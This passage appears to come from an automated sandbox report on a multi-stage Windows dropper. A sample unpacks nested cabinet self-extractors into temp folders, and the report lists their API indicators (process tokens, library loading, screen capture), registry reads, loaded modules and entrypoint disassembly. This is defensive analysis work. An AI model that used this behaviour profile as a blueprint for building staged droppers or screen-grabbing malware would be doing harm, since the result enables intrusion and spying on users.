"MoveFile"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp")3a:T473,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "e410310c63297392eb3ce82844bfe3e7.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "6NB6dz2.exe.1433957273") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")3b:Tc48,"e410310c63297392eb3ce82844bfe3e7.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74900000 "e410310c63297392eb3ce82844bfe3e7.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74900000 "e410310c63297392eb3ce82844bfe3e7.exe" loaded module "WTSAPI32" at base 71fdfb41 "e410310c63297392eb3ce82844bfe3e7.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74900000 "e410310c63297392eb3ce82844bfe3e7.exe" loaded module "KERNEL32" at base 74700000 "e410310c63297392eb3ce82844bfe3e7.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72e40000 "e410310c63297392eb3ce82844bfe3e7.exe" loaded module "KERNEL32.DLL" at base 74700000 "e410310c63297392eb3ce82844bfe3e7.exe" loaded module "FECLIENT.DLL" at base 72db0000 "e410310c63297392eb3ce82844bfe3e7.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72d80000 "e410310c63297392eb3ce82844bfe3e7.exe" loaded module "NTDLL.DLL" at base 771a0000 "e410310c63297392eb3ce82844bfe3e7.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73b10000 "Uj4GY78.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74900000 "Uj4GY78.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74900000 "Uj4GY78.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74900000 "Uj4GY78.exe" loaded module "KERNEL32" at base 74700000 "Uj4GY78.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72e40000 "Uj4GY78.exe" loaded module "KERNEL32.DLL" at base 74700000 "Uj4GY78.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 74160000 "Uj4GY78.exe" loaded module "FECLIENT.DLL" at base 72db0000 "Uj4GY78.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72d80000 "Uj4GY78.exe" loaded module "NTDLL.DLL" at base 771a0000 "Uj4GY78.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73b10000 "wn3FW36.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74900000 "wn3FW36.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74900000 "wn3FW36.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74900000 "wn3FW36.exe" loaded module "KERNEL32" at base 74700000 "wn3FW36.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72e40000 "wn3FW36.exe" loaded module "KERNEL32.DLL" at base 74700000 "wn3FW36.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 74160000 "wn3FW36.exe" loaded module "FECLIENT.DLL" at base 72db0000 "wn3FW36.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72d80000 "wn3FW36.exe" loaded module "NTDLL.DLL" at base 771a0000 "wn3FW36.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73b10000 "3KS02RZ.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74900000 "3KS02RZ.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74900000 "3KS02RZ.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74900000 "3KS02RZ.exe" loaded module "KERNEL32" at base 74700000 "3KS02RZ.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72e40000 "3KS02RZ.exe" loaded module "USER32" at base 763e0000 "3KS02RZ.exe" loaded module "ADVAPI32" at base 74160000 "3KS02RZ.exe" loaded module "SHELL32" at base 74b200003c:Taba,"e410310c63297392eb3ce82844bfe3e7.exe" was detected as "Microsoft Cabinet" and name: "sfx" "e410310c63297392eb3ce82844bfe3e7.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "e410310c63297392eb3ce82844bfe3e7.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "e410310c63297392eb3ce82844bfe3e7.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "e410310c63297392eb3ce82844bfe3e7.exe" was detected as "Microsoft Linker" and name: "Linker" "Uj4GY78.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Uj4GY78.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Uj4GY78.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Uj4GY78.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Uj4GY78.exe" was detected as "Microsoft Linker" and name: "Linker" "wn3FW36.exe" was detected as "Microsoft Cabinet" and name: "sfx" "wn3FW36.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "wn3FW36.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "wn3FW36.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "wn3FW36.exe" was detected as "Microsoft Linker" and name: "Linker" "5Sq0QJ6.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5Sq0QJ6.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5Sq0QJ6.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5Sq0QJ6.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5Sq0QJ6.exe" was detected as "Microsoft Linker" and name: "Linker" "6NB6dz2.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6NB6dz2.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6NB6dz2.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6NB6dz2.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6NB6dz2.exe" was detected as "Microsoft Linker" and name: "Linker" "7is1Ar50.exe" was detected as "Microsoft Cabinet" and name: "sfx" "7is1Ar50.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "7is1Ar50.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "7is1Ar50.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "7is1Ar50.exe" was detected as "Microsoft Linker" and name: "Linker" "3KS02RZ.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3KS02RZ.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3KS02RZ.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3KS02RZ.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3KS02RZ.exe" was detected as "Microsoft Linker" and name: "Linker"3d:Tf54,"e410310c63297392eb3ce82844bfe3e7.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Uj4GY78.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "wn3FW36.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "5Sq0QJ6.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "6NB6dz2.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42cd34," "7is1Ar50.exe" file has an entrypoint instructions - "push 0xac,push 0,push 0x418068,call 0x405070,add esp, 0xc,push 0,call 0x405076,mov dword ptr [0x41806c], eax,push 0,push 0x1000,push 0,call 0x40507c,mov dword ptr [0x418068], eax,call 0x405000,mov eax, 0x41707c,mov dword ptr [0x41808c], eax,call 0x40e4d0,call 0x40e23d,call 0x40b120,call 0x40a9a9," "3KS02RZ.exe" file has an entrypoint instructions - "call 0x403249,jne 0x40324f,je 0x40324f,mov esp, 0x241c8b55,add esp, 4,jmp 0x403261,inc eax,sub ebx, 0x3249,jmp 0x403265,and ch, bl,cmc ,inc eax,and dh, byte ptr [ebp + eax + 0x75],add ecx, dword ptr [esi - 0x49],jecxz 0x4032d7,xor byte ptr [ebp + 5], dh,je 0x403275,sbb ebp, dword ptr [esi + 0x6eb5abe],dec esp,sub eax, eax,jmp 0x403282,sub bl, ch,stc ,dec esp,sub bl, ch,add eax, 0xf1928a88,mov byte ptr [ebx + eax + 2], ah,je 0x403295,jne 0x403295,cmp bl, dh,fcomp qword ptr [ebp + edx*8 + 0xa4b0ff],add byte ptr [eax], al,jne 0x4032a1,je 0x4032a1,jne 0x403255,add esp, 4,mov ecx, dword ptr [esp - 4],"3e:T468,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "6NB6dz2.exe.1433957273") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")3f:T64a,"e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "")40:Tc75,"e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "E410310C63297392EB3CE82844BFE3E7.EXE"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "")41:Tc51,"e410310c63297392eb3ce82844bfe3e7.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "e410310c63297392eb3ce82844bfe3e7.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "e410310c63297392eb3ce82844bfe3e7.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "e410310c63297392eb3ce82844bfe3e7.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "e410310c63297392eb3ce82844bfe3e7.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\UJ4GY78.EXE" "e410310c63297392eb3ce82844bfe3e7.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Uj4GY78.exe" "e410310c63297392eb3ce82844bfe3e7.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7IS1AR50.EXE" "e410310c63297392eb3ce82844bfe3e7.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7is1Ar50.exe" "Uj4GY78.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "Uj4GY78.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\CABINET.DLL" "Uj4GY78.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VERSION.DLL" "Uj4GY78.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\FLTLIB.DLL" "Uj4GY78.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WN3FW36.EXE" "Uj4GY78.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\wn3FW36.exe" "Uj4GY78.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\6NB6DZ2.EXE" "Uj4GY78.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\6NB6dz2.exe" "wn3FW36.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "wn3FW36.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\CABINET.DLL" "wn3FW36.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\VERSION.DLL" "wn3FW36.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\FLTLIB.DLL" "wn3FW36.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\3KS02RZ.EXE" "wn3FW36.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\3KS02RZ.exe" "wn3FW36.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5SQ0QJ6.EXE" "wn3FW36.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5Sq0QJ6.exe" "3KS02RZ.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL"42:Tb01,Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetDC" (Indicator: "GetDC"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")43:T4e0,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "6NB6dz2.exe.1433957273") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "6NB6dz2.exe.1433957273") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")44:T75d,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "6NB6dz2.exe.1433957273") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: 